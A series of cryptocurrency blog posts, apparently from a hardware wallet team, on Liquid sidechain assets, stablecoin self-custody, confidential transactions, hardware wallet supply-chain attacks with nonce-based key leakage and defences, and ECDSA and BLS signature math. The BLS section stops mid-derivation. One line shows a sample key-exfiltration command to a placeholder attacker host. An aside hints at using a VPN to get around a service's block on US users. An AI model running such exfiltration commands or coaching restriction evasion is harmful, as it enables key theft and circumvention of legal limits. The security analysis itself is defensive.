In a hyperbitcoinized world, companies and projects will still need to raise capital and to issue shares and bonds. These equity, debt, and financial instruments will need to be managed in ownership registers. Voting processes, dividend and coupon payments will still need to be executed. Additional equity or debt will need to be issued to facilitate further build-out of projects.

This type of structure, operation, and governance can’t be done natively on Bitcoin. Nor should it.

The challenge is that many Bitcoiners suffer from significant post-traumatic stress syndrome due to years of scammy clowncoinery promising to securitize and tokenize everything on a blockchain. We instinctively want to throw our hands in the air and walk away from these conversations.

But there are financial innovations and efficiencies coming. We just can’t allow this new securities infrastructure to be built on a pile of premined, VC-controlled, decentralization theater BS. When bitcoin becomes the premier global store of value within the next decade, we must have the tools in place to raise capital on infrastructure that is firmly rooted in bitcoin.

These advanced special economic zones will be based on a strong individual contract between the citizen and the service provider of said city. This is in stark contrast to the weak social contracts we have now which can be changed quite arbitrarily by the government administration — mostly with the result of decreased quality of service in combination with higher taxes and tighter regulation.

Recently a few projects have sprung up in Honduras, such as Prospera on Roatan Island, Guanaja Hills on Guanaja Island, or Morazan City on the mainland. Rumors are that there are a few other projects in other regions which are in advanced stages of development.

As the sovereign individual thesis continues to play out and our legacy governance systems crumble, these citadel infrastructure projects will prove to be interesting investment opportunities, especially in a late-stage hyperbitcoinization scenario. And they won’t be accepting fiat or any shitcoins. But on the flipside, once you’ve paid your bitcoin-only buy-in fee, how will your ownership stakes be managed? What does shareholder equity in a Bitcoin citadel look like?

The optimal place to raise capital in a hyperbitcoinized world and to manage ownership rights will be on a sidechain that has a high degree of interoperability with the Bitcoin blockchain. When my bitcoin goes into an investment, I’ll want cryptographic assurances that my ownership rights are clear and enforceable. At the moment, the Liquid sidechain looks like a serious contender.

This is all fine in theory. But as I said above, we’ve heard all these promises before. But there is at least one really interesting real-world use case for a security offering on Liquid: The Blockstream Mining Note* (BMN).

* Not financial advice. Not an endorsement. Just some cool stuff we heard Adam Back talk about on a podcast.

Blockstream sells BMNs to fund new bitcoin mining operations. One BMN holds the rights to 2,000 terahash (TH/s) with the bitcoin mined to be paid out when the note reaches maturity after three years. It’s a bit hard to parse Adam Back’s tweet, but he’s pointing out some pretty promising ROI numbers (1.65 BTC earned with 90% of the three-year term still to go).

The notes are tradable securities on the Liquid sidechain and as each note steadily accrues more bitcoin value as it is mined and that yield can be priced in by the market. The notes can even be resold in smaller 0.1 BMN sizes. Whoever holds a BMN slice on its maturity date receives that share of the note’s accumulated bitcoin. Read that again: the note holder receives the mined bitcoin.

All of these assurances, ownership divisibility, and ownership transferability are managed on the Liquid sidechain. Right now. And coming soon in an upcoming Specter release, you’ll even be able to self-custody your BMN using your Specter Hardware wallet and Specter Desktop software.

To be fair, there are deeper BMN details that we have not seen for ourselves, so retain some skepticism and do your research. And to put things into perspective from an adoption point of view: Liquid currently stands where Lightning was in 2018. We’re super early. But stay tuned and keep an eye out for Liquid building out serious financial markets infrastructure.

- Update to the latest
**Specter Desktop release v1.7.0** - Run a local
**Elements “Liquid” node**(current chain size: ~17GB). - Create a hot wallet for Liquid in Specter Desktop.
- Or check out the Liquid supporting hardware wallets:
**Blockstream Jade**or our**Specter Hardware Wallet** - You can assemble a Specter HWW yourself with off the shelf-components (see
**shopping list**) or buy pre-assembled kits at**Seedsigner’s shop**or the**DIYnodes shop**.

Before my recent visit to Bitcoin Beach in El Salvador, the price of bitcoin crashed from $60k to $30k. So my hostel didn’t want to accept my bitcoin because they got their working capital balance crushed.

Bitcoin is a great long-term treasury reserve asset but it’s too volatile to operate a small- or medium-sized business with little capital reserve. This is where stablecoins can play an important transitory role by offering short-term stability for working capital. While earnings can be moved to the Bitcoin savings stack.

Stablecoins are often the only digital fiat solution available to the world’s unbanked. Even Strike had to initially launch their El Salvador support with Tether integration because the local banks weren’t ready to integrate with them.

How do you operate a small business with a small working capital base on Bitcoin?

Similarly, many migrants use stablecoins to send remittances back home, as I witnessed first-hand with Venezuelans working in Panama. They care little about the superior monetary characteristics of bitcoin.

For now these people just want to support their relatives with $200 of stable value. They’re fine with missing out on potential bitcoin appreciation in exchange for knowing that the value won’t yo-yo up and down. Their family members back home are relying on these funds and any loss in value can create family strife.

Unfortunately sending an Ethereum stablecoin would incur $15+ in gas fees right now. That’s a significant percentage of the total value of these relatively small remittances transactions.

Also some people choose to use their bitcoin as loan collateral in order to gain access to fiat funds, stay long Bitcoin and to avoid capital gains taxes. Some turn this fiat loan right around and use it to buy more bitcoin as a leveraged play. Others might need the fiat to pay their bills or to buy assets (e.g. a house).

But any time fiat is involved, government regulations rear their ugly head. So rather than going through the complicated, expensive regulatory hurdles, instead some emerging lending platforms such as HodlHodl arrange peer-to-peer (or better: human-to-human) loans in stablecoins with Bitcoin as collateral.

As we previously discussed in the second post in this series, the stablecoin ecosystem is largely dependent on Ethereum and TRON. For most Bitcoiners this is either somewhat unpleasant or wholly unacceptable. But since Tether is also on the Liquid sidechain, we can have all the benefits of stablecoins without having to wade into and rely on any shitcoin exchanges, MetaMask, etc. It also means that transferring stablecoins can be made much cheaper via Liquid’s low fees and still move fast enough with 2 minutes for confirmation.

In a hyperbitcoinized world we won’t need fiat stablecoins. But right now stablecoins are filling an important use case during transition, albeit imperfectly. Stablecoins on Liquid are a big improvement. It’s totally justified to have some concerns about putting value on a somewhat centralized, federated sidechain like Liquid and into a stablecoin like Tether. Everyone has to weigh their own pros and cons.

But if you need to use stablecoins, it’s worth the time to start learning how USDT works on Liquid and how you can self-custody it. See the second post for info on how to swap into Liquid Tether and how to self-custody it with Specter Desktop.

- Update to the latest
**Specter Desktop release v1.7.0** - Run a local
**Elements “Liquid” node**(current chain size: ~17GB). - Create a hot wallet for Liquid in Specter Desktop.
- Or check out the Liquid supporting hardware wallets:
**Blockstream Jade**or our**Specter Hardware Wallet** - You can assemble a Specter HWW yourself with off the shelf-components (see
**shopping list**) or buy pre-assembled kits at**Seedsigner’s shop**or the**DIYnodes shop**.

Bitcoiners get your pitchforks ready: When this bitcoin bull market hits the manic pump phase, some will actually sell a bit of their stack. I know, it’s heretical to say so, but this is reality. If you’re a truly die-hard maxi, skip this post since it’ll be irrelevant for you.

For everyone else: what are you going to do if you sell some bitcoin and end up with, say, 3x your annual salary now sitting in USD on an exchange? Regulated U.S. exchanges have standard FDIC insurance on USD funds (covers up to $250k, same as any U.S. bank account; does not extend to stablecoins). So you maybe have some bank-like protections there. People in other jurisdictions will have to check if their exchanges offer any local fiat protections.

But either way you cannot leave all that fiat there.

I would be scared to transfer it to a bank account. I worry that my bank would flag my account for having such a huge influx of funds and that I’d be locked out until some years-long audit was completed. Is that likely? Legal? I have no clue. But Bitcoin has taught me to be wary of the banking system.

You could somewhat distribute the risk by converting your fiat proceeds to a stablecoin and then sending some to each exchange and Bitcoin neobank you use. It’s all still custodial but at least no single custodian has the power to totally wipe you out.

I’d feel much better if I could just self-custody my USD stablecoins. Cool, I’ll just get my shitcoin-friendly hardware wallet hooked up to Metamask and pay $50 in gas fees to move my ERC20 USDC stablecoin… wait, how did we end up here?! No! This is not the way!

Screenshot: Stuff Bitcoiners don’t want to look at

Okay, forget Ethereum. Say, did you know Tether is primarily on TRON now? OMG. Make it stop.

This is why the Specter DIY and Specter Desktop integration with Liquid is intriguing: Tether is also on the Liquid sidechain. And services like SideSwap.io, Liquiditi.io and Sideshift.ai make it easy to move between BTC, L-BTC (the “pegged-in” form of BTC on Liquid), and USDT.

SideShift.ai – No account required. No KYC. Just one small issue for U.S. users:

SideShift’s weird way of IP restricting U.S. users

On a completely unrelated topic, Mullvad is a great VPN service that even gives a 10% discount for paying with bitcoin. Anyway, where were we?

Once you swap BTC for Liquid USDT, you can custody that USDT in a Liquid sidechain wallet that you manage in Specter. You can secure that wallet with a Specter DIY or a Blockstream Jade hardware device. Or if you don’t have the hardware and just want to play, you can create a “hot” Liquid signing device directly in Specter Desktop (i.e. the keys are live in the software and not secured in a hardware device; obviously not safe for large amounts).

But wait, there’s more! Specter supports multisig Liquid wallets. And, yes, multisig Liquid wallets can hold any Liquid asset. That means your stablecoin self-custody can be just as secure and robust as your main bitcoin multisig cold storage. This is huge. Remember our other options: Trust an exchange, trust your bank, trust Ethereum, trust Tron.

Now, in reality, we’re still early. U.S. users are somewhat barred from entry. These asset swap services have decent liquidity but it is not infinite. We’ll need more adoption by more large exchanges before we’ll see enough liquidity to be able to sell huge bitcoin riches into Liquid stablecoins.

But the potential is there and — most importantly — the tools are already live. It’s worth playing around with some small swaps to Liquid USDT, create a multisig Liquid wallet in Specter (you can use hot signers for this experiment), and take full custody of your stablecoin. Create another Liquid wallet in Specter and move some of your stablecoin, just to see how it all works. Then swap it all back home to bitcoin.

I think that this is the most interesting and most compelling use case for the Liquid sidechain for hardcore Bitcoiners. But as always, don’t trust. Verify. Prove to yourself that there’s a real use case here. The Liquid integration in Specter DIY and Specter Desktop are just a starting point. Use the tools. See what’s possible. Exchanges will build up Liquid stablecoin support and liquidity if they see enough interest. They’ll follow where the community leads them.

- Update to the latest
**Specter Desktop release v1.7.0** - Run a local
**Elements “Liquid” node**(current chain size: ~17GB). - Create a hot wallet for Liquid in Specter Desktop.
- Or check out the Liquid supporting hardware wallets:
**Blockstream Jade**or our**Specter Hardware Wallet** - You can assemble a Specter HWW yourself with off the shelf-components (see
**shopping list**) or buy pre-assembled kits at**Seedsigner’s shop**or the**DIYnodes shop**.

Thank you to our anonymous contributor for this blogpost!

The possibility of having fully private, onchain hidden transactions in Bitcoin has been discussed for years. But don’t expect this to come anytime soon — if ever. The Bitcoin ecosystem is wary of experimentation on the Bitcoin base layer. We need to move slowly and be as careful as possible.

Indeed, as Alex Gladstein recounts in his recent article, “The Quest For Digital Cash” for Bitcoin Magazine, cypherpunk Adam Back early on “realized it would be extremely difficult to implement CT [Confidential Transactions on Bitcoin], as the community understandably prioritized security and audibility over privacy.” So Adam Back and Greg Maxwell teamed up to found Blockstream, in large part to implement confidential transactions on a Bitcoin sidechain. That sidechain is called Liquid and has been running since November 2018.

Confidential assets and transactions on Liquid keep the amount and type of assets transferred visible only to participants in the transaction. Yet they still cryptographically guarantee that no more coins can be spent than are actually available.

Confidential Assets whitepaper. Just a few recognizable names in that list. Probably nothing.

So as coinjoin will continue to be a powerful tool in the privacy-focused Bitcoiner’s arsenal, it’s worth familiarizing yourself with the privacy features of Liquid confidential transactions. You “peg-in” some bitcoin to Liquid and receive an equivalent amount of L-BTC on the Liquid sidechain. Additionally, a growing number of exchanges will let you easily withdraw your bitcoin as L-BTC. You can then send your L-BTC confidentially to any recipient Liquid wallet. These transactions are inexpensive and very fast. The recipient can then deposit the L-BTC into their own Liquid-supported exchange or “peg-out” back to normal onchain bitcoin.

Give it a try in Specter with a small test amount. See what information can and cannot be traced as you move from Bitcoin to Liquid and across confidential transactions. You’re not gaining perfect privacy here, but certainly improved privacy.

Someday, hopefully soon (hint, hint developers!) we’ll see a coinjoin implementation that is built on Liquid confidential transactions. Any amount — of any asset! — go into the mix and whatever comes out would have no deterministic traceable link whatsoever. At this point you maybe would have near-perfect privacy at even a lower cost than current onchain coinjoin implementations.

Coinbase and other exchanges know how much bitcoin you bought and on which UTXOs these bitcoin sit. This data is shared with chain surveillance companies that are analyzing onchain transaction paths, selling their services to malicious players. This data will sooner or later leak out or get hacked and will find its way to a darknet market.

For financial privacy, any working capital operations with Bitcoin of a company or an individual should be coinjoined first and then pushed out for payment operations to Lightning and Liquid. For cold storage, bitcoin should be held in an onchain wallet and not on the federated sidechain of Liquid. Lightning channels are for facilitating payments, not storing value. Lightning hot wallets have their private keys always on-line and still need improved hardware backend security. Meanwhile Liquid allows to move high value amounts of Bitcoin with confidential transactions, while keeping keys in air-gapped multisig wallets.

Since the Bitcoin onchain layer will become very busy and quite expensive to operate on, using Lightning and Liquid will not only be necessary for improved privacy, but also from an economic perspective to optimize for an efficient use of the Bitcoin blockchain. Frequent payment transactions will get pushed out to Lightning and Liquid, while onchain transactions will happen for high value hodling, coinjoin, and settlement purposes.

- Update to the latest
**Specter Desktop release v1.7.0** - Run a local
**Elements “Liquid” node**(current chain size: ~17GB). - Create a hot wallet for Liquid in Specter Desktop.
- Or check out the Liquid supporting hardware wallets:
**Blockstream Jade**or our**Specter Hardware Wallet** - You can assemble a Specter HWW yourself with off the shelf-components (see
**shopping list**) or buy pre-assembled kits at**Seedsigner’s shop**or the**DIYnodes shop**.

The recent wallet.fail talk on the 35c3 conference showed that even the best hardware wallets can be hacked. And if some wallet manufacturers claim that they are not vulnerable, I would think twice before trusting these statements.

In this post, I want to focus on supply channel attacks and how to use the hardware wallet even if it is compromised. Supply channel attacks are very appealing for hackers as they affect many devices at once and may not require any further interaction with the device by the attacker. Just ship and wait. Let’s discuss what the attacker can do and how we can stop him. We will start with very simple countermeasures and finally get to a pretty fancy one with some math involved.

The ultimate goal of the attacker is to get our private keys. He can potentially replace the firmware of the device, replace the secure element with a malicious chip or include hardware implants to do Bad USB attacks or to send our private keys over the air.

Mobile networks and SigFox are available almost everywhere and the attacker doesn’t need to be around to catch the signal. RF shielding can block all wireless implants — a metal bucket will do the job. There are also commercial products available for phones and other small devices. Looks too paranoid? Depends on the amount you own…

Next, generating the private keys on a compromised device is a bad idea, so we should use our own source of entropy instead. We can use dices, coins or any other source of entropy. The best way is to use multiple entropy sources and XOR their outputs. It may be tricky to generate a valid mnemonic from the dices, but it’s doable.

Also, plugging a potentially malicious device to the computer may cause problems. Even though a Bad USB attack is very limited, plugging in the device that can pretend to be a keyboard, start a terminal and run arbitrary code like `curl http://attacker.com/?pk=`

is scary. So we should make our hardware wallet air-gaped. With ColdCard it’s simple — it is air-gapped by design. Trezor promises to implement this feature “in two weeks”. For any other device, we can use a dedicated air-gapped computer to connect the hardware wallet, sign a transaction there, save the signed transaction to SD card and move it to the online machine. And only then we double-check and broadcast the transaction to the network.

Now, the only data passed from the hardware wallet to the outside world is our valid bitcoin transaction. Nothing could go wrong, right? Not quite…

Do you remember how we sign a bitcoin transaction? We take a hash of the transaction and calculate the signature:

*(r, s) = (r, (h+r⋅pk)/k)*

Here ** pk** is our private key,

As we blocked any other possibility for the hardware wallet to talk to the external world, its goal will be to generate a valid signature that leaks some information about our private keys. Then, the attacker can reconstruct the private keys by monitoring these transactions on the blockchain. The only way to do it is to generate a nonce ** k** in a particular way.

Ideally, the nonce ** k** should be either chosen at random or deterministically derived from the message and the private key (there is a standard for that). But when the hardware wallet is hacked, the attacker can choose any number he likes. And our computer can’t even check how this nonce was generated.

Leaking a single private key in this scenario is extremely easy — the hacked wallet just uses a nonce that is known to the attacker. For example, the nonce can be derived by the same deterministic algorithm but using an attacker’s key instead of the user’s private key. Then the attacker can solve a single linear equation and get the private key from the ** s** value of the signature:

*pk = (s⋅k – h)/r*

I created a testnet transaction to demonstrate this attack. The nonce is generated by the wallet according to the standard deterministic algorithm but instead of our private key, it uses attacker’s secret key (`0xf00dbabe`

). We can easily extract the private key now and steal all the funds. A python notebook constructing this transaction and recovering the key is on GitHub.

This simple attack works only if we are re-using the same addresses. Nowadays we use HD wallets and when the transaction gets to the blockchain the spending address is already empty and the attacker gets a private key of an empty address. What we want instead is to get the *master private key*. The master private key is 64 bytes long and it is not directly involved in the signing equations. We need to find another way to leak it via nonces.

We are going to do the following: for every outgoing transaction we choose a nonce ** k** such that the number

Finding all transactions corresponding to the same wallet is not very hard — normally all transactions from the same HD wallet can be linked to each other, especially when we know what to expect in the first bytes of the signature.

To demo this attack I created a set of bitcoin transactions on the testnet starting from this to this. I used 0x00 as an attacker’s key so anyone can see the bytes of the master private key in the nonces of the signatures:

```
tx 0: r = 0057360015b25dc6ec...
tx 1: r = 016d24c28dff49f70f...
...
tx 63: r = 3f94476a5630120121...
```

And we can easily reconstruct the master private key of the attacked wallet — `576d...94`

. Full code is also on GitHub.

Now the question is, can we fix it somehow? There are two ways. Both

have certain pros and cons. The core problem in the current protocol is

that we allow the hardware wallet to *choose a value that will be directly encoded in the transaction*.

We need to take this freedom away either by forcing the hardware wallet

to use a certain algorithm or by randomizing its choice using

additional offset.

First,

let’s talk about randomization. We allow the hardware wallet to choose a

nonce however it wants, but then we fix this choice by asking for a

commitment and provide an additional random number for an offset.

Hardware wallet then has to add this number to its nonce and use their

sum in the signature scheme. In this situation, if one of the devices is

behaving properly, the resulting nonce is random and it can’t contain

any additional information.

To be more precise we require the following procedure:

- the hardware wallet chooses a random number
and commits to it by disclosing a corresponding point*k1**R1 = k1×G* - the computer sends unsigned transaction data and another random number
to the hardware wallet*k2* - the hardware wallet signs the transaction using the nonce
*k=k1+k2* - the computer verifies that the signature and the transaction are valid and that
part of the signature is an*r*-coordinate of the point*x*, where*R=k×G=R1+k2×G*is a point the hardware wallet committed to in the beginning.*R1*

This

way our computer checks that the hardware wallet used the nonce it

committed to and added an offset that we provided. There are two

drawbacks in this scheme:

- the

protocol requires several communication rounds, so with an air-gapped

hardware wallet, we will need to move between the computer and the

hardware wallet twice. Or we take two SD cards (one for the commitment

and another one for the second random number and signed transaction). - the hardware wallet can’t use deterministic
*k*

anymore, it has to use truly random numbers from hardware RNG. And

usually RNG = problems. The reason to use RNG is that if the computer

will ask the wallet to sign the same transaction*twice*and provide*two different*numbers,*k2*, usage of the deterministic*k2′*will immediately reveal the secret key.*k1*

In total, this protocol is very easy to implement, but it is less convenient and may require a good source of randomness on the hardware wallet.

Update: We can still use deterministickgeneration if the computer commits to itsk2and the hardware wallet uses this commitment to derive itsk1. The whole communication process will look like this:• the computer chooses some value

k2. Then it sends to the hardware wallet an unsigned transaction together with the commitmentc=sha256(k2).• the hardware wallet deterministically calculates a nonce

k1from the transaction, the private key and the computer’s commitment. Then the hardware wallet commits to this nonce by revealingcR1=k1×Gto the computer.• the computer sends its nonce

k2to the hardware wallet.• the hardware wallet checks that the nonce

k2hashes to the valuecand signs the transaction using the noncek=k1+k2.• the computer verifies that the signature and the transaction are valid and that

rpart of the signature is anx-coordinate of the pointR=k×G=R1+k2×G.• now it’s safe to broadcast the transaction

Thanks to @n1ckler for bringing this up. There is also a pull request to bitcoin core implementing this feature. And using this protocol with an airgapped wallet is not that painful — we can use two SD cards to sign the transaction. The first one will contain an unsigned transaction, a commitment

c=sha256(k2)from the computer and later a commitmentR1from the hardware wallet. The second one will contain the noncek2and later a signed transaction from the hardware wallet.

Another option is to force the hardware wallet to use a particular algorithm to generate the nonce and to require a zero-knowledge proof of that. The current standard (RFC6979) uses SHA256 to derive a deterministic nonce from the message and the private key, but the corresponding zero-knowledge proof is extremely hard to calculate. Especially for a hardware wallet.

If you don’t know how zero-knowledge proofs work there is a very nice post by Vitalik Buterin on that (also check the references). Without going into details, zero-knowledge proofs are pretty tolerant to linear operations but blow up in size and complexity as soon as you add multiplications and other non-linear operations. Unfortunately, common hashing algorithms are very non-linear. Roughly speaking, calculating a ZK proof of SHA256 will be as difficult as calculating 10000 signatures. For a hardware wallet, it could take several minutes to generate a proof. Not very usable.

Fortunately, there are other hashing algorithms that are more ZK-friendly. In particular, MiMC hashing algorithm was specifically designed to be used with ZK proofs. We can tailor the deterministic nonce generation algorithm to use MiMC instead of SHA256. With MiMC the hardware wallet will be able to generate a proof in 20 seconds instead of several minutes. Then we can require the hardware wallet to include a ZK prove that this particular deterministic algorithm was used to generate a nonce for every signature. And therefore we can be sure that no data leak is possible. Hardware wallet doesn’t have any choice now. Everything is deterministic and provable.

There are two minor problems with this protocol:

- MiMC is a pretty new hashing algorithm (2016), and we should make sure it is safe to use before deploying it in a real application. In particular, we need to be sure that it is not biased, uniformly distributed and blah blah blah.
- ZK proofs are memory and computationally intensive. Especially when we talk about low performance embedded devices like 180MHz microcontrollers used in hardware wallets. And they are also theoretically complicated… They are pretty hard to understand and implement correctly. But still, doable.

It would be nice to see these or similar signing protocols realized in hardware and software wallets. I would definitely use it if I could. I believe we need to improve the security of our bitcoin storage setups and remove trust in manufacturers of our wallet software and firmware. We can’t read all the code we use, but we can verify that the protocol is used correctly.

I really like a phrase I’ve heard in quantum cryptography field: a good cryptographic setup can be verified and used for secure communication even if it was manufactured by an attacker. I would really like to get to the same level of confidence with our bitcoin setups.

And yeah, don’t forget to use your metal bucket and a foil cap!

I already wrote about Schnorr and BLS signatures and I think they are really great. One of the most exciting properties of these signature schemes is *key aggregation* — if we want to make a 2-of-2 multisignature address we just take our public keys and add them together. The signature will be also just a sum of two signatures. This is possible because both Schnorr and BLS are linear — the sum of the verification equations is also a valid equation.

For example, to verify Schnorr signature ** (R, s) = (k×G, k+hash(P,R,m)⋅pk) **we need to confirm that

With ECDSA everything is a bit more complicated. The verification equation is not linear. To generate a signature we need to choose a random number ** k** with corresponding point

To make key aggregation work with ECDSA we need to use multiplication instead of addition. From two private keys ** pk1, pk2** and corresponding public keys

To generate a valid signature for the message ** m** with hash

For this purpose, we can use homomorphic encryption, in particular, Paillier scheme. Homomorphic encryption is a wonderful tool — with it, we can do computations on the encrypted data without getting any knowledge of the data itself. I will explain how it works a bit later and for now try to imagine: we can send an encrypted secret to another party and he can add something to it, multiply it by some number and then return us the result without getting any information about what he just did. Sounds magical! And it really is. Modern cryptography is so exciting!

To calculate our common signature we need to do the following: the first party encrypts his private key ** pk1** and sends the encrypted value

Notice that we need to get an encrypted value of the private key *e(pk1)*

only once during the setup phase and then we can reuse it for every

signature in the future. Even more, thanks to the homomorphic properties

of the encryption scheme we can use HD wallets

to generate new encrypted children keys from the encrypted master key.

To derive a child key we only need to add a certain number to the parent

private key — we can easily do it homomorphically with the encrypted

master key we have.

Unfortunately, this scheme works only for *two parties*. If we want to use arbitrary m-of-n multisignature with bare ECDSA we still can do it, but it requires a much more complicated scheme.

And it is 100 times slower. But even with only two parties we can do

many amazing things — all Lightning channels can appear as normal

transactions (pay-to-pubkeyhash), and we can even do scriptless scripts with ECDSA.

So how does this homomorphic magic work? As usual in cryptography, we use huge numbers everywhere. We start by choosing two large prime numbers ** p** and

This ** λ** number is pretty interesting. If we take

*µ=λ^–1 = λ^(λ–1) mod n*

Now, to *encrypt* a secret number ** x** we pick a random number

*e(x)⋅g^a = g^(x+a)⋅ r^n mod n² = e(x+a)*

To *multiply* ** x** by some number

*e(x)^b=g^(x⋅b)⋅(r^b)^n mod n² = e(x⋅b)*

The random number changes from ** r** to

After we are done with the calculations we can *decrypt* the data and get the result. To extract ** x **from the cyphertext we do the following:

*x = (e(x)^λ mod n² – 1) / n ⋅ µ mod n*

Looks confusing. Let’s take a closer look. First, we take our cyphertext ** e(x)** and exponentiate it to the power of

*e(x)^λ mod n² = g^(x⋅λ) ⋅ r^(n⋅λ) mod n² = g^(x⋅λ) mod n²*

Here we used the fact that ** r^(n⋅λ) mod n² = 1** and

Now, recall that ** g=n+1**. Using binomial theorem we can expand

*g^x mod n² = (1+n)^x mod n² = (1 + x⋅n + x⋅(x-1)/2 ⋅ n² + …) mod n² = (1+x⋅n)*

In our case we have:

*g^(λ⋅x) mod n² = (1 + λx⋅n + λx⋅(λx-1)/2 ⋅ n² + …) mod n² = 1 + λx⋅n*

From here we subtract ** 1**, divide by

If you don’t believe in the above — try it out by yourself. I wrote a tiny jupyter notebook just to make sure it works.

Here we discussed the basic idea of the algorithm, but there are a few things that are left outside of the scope of this post. In particular, the setup phase of the algorithm is a bit more complicated. The second party needs to make sure that the ciphertext he got from the first party corresponds to the public key ** P1**. So the first party needs to prove the connection between the ciphertext

There are more interesting things in the paper. I strongly recommend reading it if you can. Also, homomorphic encryption is really wonderful and I wrote only the core principle without going into details.

And we didn’t discuss applications of this scheme in details. So check out these papers to find out more:

In the previous post I wrote about Schnorr signatures and how awesome they are. This one is about Boneh-Lynn-Shacham signatures and their extremely nice features that are not possible with Schnorr.

Shortly, what we know so far:

ECDSA signatures are ok. They do their job and do it well, but nothing more. We can’t combine signatures or keys and every signature has to be verified independently. With multisig transactions, it becomes especially annoying. We have to check all the signatures and the corresponding public keys one by one, waste a lot of space in a block and pay large fees.

Schnorr signatures are awesome — if we do it right we can combine all signatures and public keys in the transaction to a single key and a signature and nobody will find out that they correspond to multiple keys. Also block validation can be faster — we can validate all signatures at once. There are a few issues though:

- Multisig scheme requires several communication rounds. This can be very annoying with cold storage.
- With signature aggregation we have to rely on random number generator — we can’t choose random point
deterministically like we do in ECDSA*R* - m-of-n multisig scheme is tricky — we need to make a merkle tree of public keys that can get pretty large for large m and n.
- We can‘t combine all signatures in the block to a single signature.

BLS signatures can fix all of the above. We don’t need random numbers *at all*, all signatures in the block can be combined to a single signature, m-of-n multisig is very simple and we don’t need several communication rounds between signers. In addition to that BLS signatures are 2 times shorter than Schnorr or ECDSA — signature is not a pair, but a single curve point. Sounds amazing! Let’s see how they work.

Before we start we need two new constructions — hashing to the curve and curves pairing.

**Hashing to the curve**

Normally with ECDSA and Schnorr we hash the message and use this hash in the signing algorithm as a number. For BLS signatures we need a slightly modified hashing algorithm that hashes directly to the elliptic curve. The easiest way is to hash a message as usual and treat the result as an** x**-coordinate of a point. Elliptic curves (like the one we are using in Bitcoin) usually have about 2²⁵⁶ points and SHA-256 hashing algorithm also gives a 256-bit result. But for every valid

To find a point *for any message* we can try hashing several times by appending a number to the message and incrementing it on fail. If ** hash(m||0)** doesn’t find a point we try

**Curves pairing**

Another thing we need is a very special function that takes two points ** P** and

** e(P, Q) → n**.

We also require one important property from this function. If we have some secret number ** x** and two points

** e(x×P, Q) = e(P, x×Q)**.

Basically we need to be able to swap multipliers of the points between two arguments without changing the result. More generally all these swaps should give the same result:

e(*a×P, b×Q) = e(P, ab×Q) = e(ab×P, Q) = e(P, Q)^(ab)*

I am not going to describe how exactly this function works. Underlying math is pretty complicated and if you want to know all the nasty details I would suggest reading this post and references in it. If you want to go deeper — this thesis is completely about pairings. For now we just accept that such functions exist and they don’t reveal any information about our secret number ** x**.

One important note is that we can’t use *any* elliptic curve here (in particular, standard Bitcoin curve secp256k1 doesn’t work). To make this function efficient and secure we have to use very special curves from “pairing-friendly” family.

**BLS signature scheme**

Now we have everything we need to construct a BLS signature. As usual our private key is some secret number ** pk**, our public key is

To calculate the signature we hash our message to the curve ** H(m)** and multiply resulting point by our private key:

To verify this signature one can take our public key ** P** and check that

*e(P, H(m)) = e(G, S)*

It it true because of the nice property of the pairing function described above:

*e(P, H(m)) = e(pk×G, H(m)) = e(G, pk×H(m)) = e(G, S)*

This signature scheme is beautiful and simple, but it also has several very nice features, especially for Bitcoin.

Now let’s combine all signatures in the block! Imagine we have a block with 1000 transactions and every transaction contains a signature ** Si**, a public key

*S = S1+S2+…+S1000*

To verify the block we need to check that the following equality holds:

*e(G, S) = e(P1, H(m1))⋅e(P2, H(m2))⋅…⋅e(P1000, H(m1000))*

If you look carefully you will see that it’s indeed true:

*e(G, S) = e(G, S1+S2+…+S1000) = e(G, S1)⋅e(G, S2)⋅…⋅e(G, S1000) = e(G, pk1×H(m1))⋅…⋅e(G, pk1000×H(m1000)) = e(pk1×G, H(m1))⋅…⋅e(pk1000×G, H(m1000)) = e(P1, H(m1))⋅e(P2, H(m2))⋅…⋅e(P1000, H(m1000))*

We still need to know all the public keys and calculate 1001 pairing functions, but at least *all the signatures in the block take only 33 bytes*. Signature aggregation can be done by a miner and save a lot of space in the block.

If we are using multisignature addresses, we are signing *the same transaction* with different keys. In this case we can do key aggregation like in Schnorr, where we combine all signatures and all keys to a single pair of a key and a signature. Let’s take a common 3-of-3 multisig scheme (it can be done similarly for any number of signers).

A simple way to combine them is to add all the signatures and all the keys together. The result will be a signature ** S=S1+S2+S3** and a key

*e(G, S) = e(P, H(m))*

*e(G, S) = e(G, S1+S2+S3) = e(G, (pk1+pk2+pk3)×H(m)) = e((pk1+pk2+pk3)×G, H(m)) = e(P1+P2+P3, H(m)) = e(P, H(m))*

Just like in Schnorr we need to protect ourselves from the rogue key attack. We can do it either by asking every co-signer to prove that they have private keys for their public keys (by signing their public keys), or we can add some nonlinearity to the scheme and make rogue key attack impossible. Instead of just summing up all the keys and signatures we multiply them by a certain number and then add:

*S = a1×S1+a2×S2+a3×S3*

*P = a1×P1+a2×P2+a3×P3*

Here coefficients of the signatures and keys are calculated deterministically from the public key of the signer and all other public keys:

*ai = hash(Pi, {P1,P2,P3})*

For example it can be just a concatenation of the signer’s public key and the whole set of public keys used for signing: ** ai = hash(Pi||P1||P2||P3)**.

The same verification equation still works. There will be additional coefficients ** ai** in the proof, but the logic remains.

Nice thing about this scheme is that you don’t need several communication rounds between devices. You just need to know who are other signers, and you are all set. This is much simpler than 3-round multisig scheme for Schnorr signatures. It also doesn’t rely on any randomness, it is a *completely deterministic signature algorithm*.

Often we don’t want to use n-of-n multisig scheme, we prefer to use m-of-n, say, 2-of-3. We don’t want to lose all our money just because we’ve lost one of our keys. It would be nice to use key aggregation in this scenario. With Schnorr signatures we were able to do so by using merkle tree of public keys. It is not the most efficient way, but it kinda works. Unfortunately, as soon as you go to high ** m** and

With BLS signature scheme there is another method. It’s not that simple though. We will need a normal hash function that outputs a number — ** hash(x)**, and a hash to the curve —

Again I will use a simple example where we want to construct 2-of-3 multisig scheme with keys stored on 3 different devices, but it can be extended to any values of ** m** and

**Setup phase**

Each of our devices has a signer’s number ** i = 1,2,3 **that represent its place in a set, a private key

*P = a1×P1+a2×P2+a3×P3, ai = hash(Pi, {P1,P2,P3})*

Now every device needs to sign that number ** i** is a member of our aggregated public key (for every

*MKi = (a1⋅pk1)×H(P, i)+(a2⋅pk2)×H(P, i)+(a3⋅pk3)×H(P, i)*

This signature we will call a “membership key” and we will use it later on for signing. Each membership key is a valid n-of-n signature of the message ** H(P,i)**, it means that:

*e(G, MKi)=e(P, H(P,i))*

Remember this equation, we will need it later. It will be used to prove that we are valid participants of the multisignature scheme.

**Signing**

Now let’s say we want to sign a transaction only with keys ** pk1** and

** S1 = pk1×H(P, m)+MK1**,

and add them up to obtain single signature and key:

*(S’, P’) = (S1+S3, P1+P3)*

